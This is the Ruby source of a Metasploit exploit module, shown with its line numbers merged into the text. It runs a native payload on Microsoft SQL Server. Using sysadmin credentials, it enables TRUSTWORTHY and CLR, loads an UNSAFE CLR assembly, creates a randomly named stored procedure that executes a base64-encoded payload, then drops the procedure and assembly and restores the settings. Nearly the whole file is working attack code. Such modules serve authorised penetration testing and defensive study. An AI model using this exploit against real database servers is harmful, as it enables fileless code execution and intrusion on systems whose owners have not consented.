Path: blob/master/modules/exploits/windows/mssql/mssql_clr_payload.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MSSQL910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',15'Description' => %q{16This module executes an arbitrary native payload on a Microsoft SQL17server by loading a custom SQL CLR Assembly into the target SQL18installation, and calling it directly with a base64-encoded payload.1920The module requires working credentials in order to connect directly to the21MSSQL Server.2223This method requires the user to have sufficient privileges to install a custom24SQL CRL DLL, and invoke the custom stored procedure that comes with it.2526This exploit does not leave any binaries on disk.2728Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).29},30'Author' => [31'Lee Christensen', # original idea/research32'Nathan Kirk', # extra research/blog post33'OJ Reeves' # Metasploit module34],35'License' => MSF_LICENSE,36'References' => [37# as of January 9, 2025 http://sekirkity.com is now a banner ad site w/ NSFW content.38['URL', 'https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']39],40'Platform' => 'win',41'Arch' => [ARCH_X86, ARCH_X64],42'Targets' => [['Automatic', {}]],43'DefaultTarget' => 0,44'DisclosureDate' => '1999-01-01',45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])56]57)58end5960def check61unless mssql_login_datastore(datastore['DATABASE'])62vprint_status('Invalid SQL Server credentials')63return Exploit::CheckCode::Detected64end6566version = get_sql_version_string6768unless version =~ /Server 20(05|08|12|14|16)/69vprint_status('Unsupported version of SQL Server')70return Exploit::CheckCode::Safe71end7273if mssql_is_sysadmin74vprint_good "User #{datastore['USERNAME']} is a sysadmin"75Exploit::CheckCode::Vulnerable76else77Exploit::CheckCode::Safe78end79ensure80disconnect81end8283def get_sql_version_string84mssql_query('select @@version', false)[:rows].first[0]85end8687def get_sql_architecture(sql_version_string)88if sql_version_string =~ /(64-bit|x64)/i89ARCH_X6490else91ARCH_X8692end93end9495def get_exploit_version(sql_version_string)96# keeping it simple at this point.97if sql_version_string =~ /Server (2005|2008|2012)/98'v3.5'99else100# assume 2014/2016 at this point.101'v4.0'102end103end104105def set_trustworthy(on)106result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)107unless result[:errors].empty?108result[:errors].each do |err|109vprint_error(err)110end111fail_with(Failure::Unknown, 'Failed to change Trustworthy setting')112end113end114115def is_trustworthy116# SQLi in MSF!! OMG!117result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)118result[:rows][0] == 'ON'119end120121def enable_clr(enable)122query = %(123EXEC sp_configure 'show advanced options', 1;124RECONFIGURE;125EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};126RECONFIGURE;127)128result = mssql_query(query, false)129unless result[:errors].empty?130result[:errors].each do |err|131vprint_error(err)132end133fail_with(Failure::Unknown, 'Failed to change CLR setting')134end135end136137def is_clr_enabled138result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)139result[:rows][0] == 'ON'140end141142def exploit143unless mssql_login_datastore(datastore['DATABASE'])144fail_with(Failure::BadConfig, 'Unable to login with the given credentials')145end146147unless mssql_is_sysadmin148fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')149end150151# This module will only support 'thread' for EXITFUNC152# Bad things happen to SQL otherwise!153unless datastore['EXITFUNC'] == 'thread'154print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")155datastore['EXITFUNC'] = 'thread'156end157158sql_version = get_sql_version_string159vprint_status("Target SQL Version is:\n#{sql_version}")160161sql_arch = get_sql_architecture(sql_version)162unless payload.arch.first == sql_arch163fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")164end165166trustworthy = is_trustworthy167clr_enabled = is_clr_enabled168169unless trustworthy170print_status('Database does not have TRUSTWORTHY setting on, enabling ...')171set_trustworthy(true)172end173174unless clr_enabled175print_status('Database does not have CLR support enabled, enabling ...')176enable_clr(true)177end178179exploit_version = get_exploit_version(sql_version)180print_status("Using version #{exploit_version} of the Payload Assembly")181exploit_file_path = ::File.join(Msf::Config.install_root, 'data',182'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')183vprint_status("Using #{exploit_file_path}")184185assembly = ::File.read(exploit_file_path)186187# Convert the assembly to the required format for execution of the stored188# procedure to create the custom stored proc189hex_assembly = "0x#{assembly.unpack('H*')[0]}"190asm_name = Rex::Text.rand_text_alpha(rand(8..11))191query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"192193print_status('Adding custom payload assembly ...')194mssql_query(query, false)195196proc_name = Rex::Text.rand_text_alpha(rand(8..11))197param_name = Rex::Text.rand_text_alpha(rand(8..11))198query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"199200print_status('Exposing payload execution stored procedure ...')201mssql_query(query, false)202203# Generate the base64 encoded payload204b64payload = Rex::Text.encode_base64(payload.encoded)205query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"206print_status('Executing the payload ...')207mssql_query(query, false)208209print_status('Removing stored procedure ...')210mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)211212print_status('Removing assembly ...')213mssql_query("DROP ASSEMBLY [#{asm_name}]", false)214215unless clr_enabled216print_status('Restoring CLR setting ...')217enable_clr(false)218end219220unless trustworthy221print_status('Restoring Trustworthy setting ...')222set_trustworthy(false)223end224ensure225disconnect226end227end228229230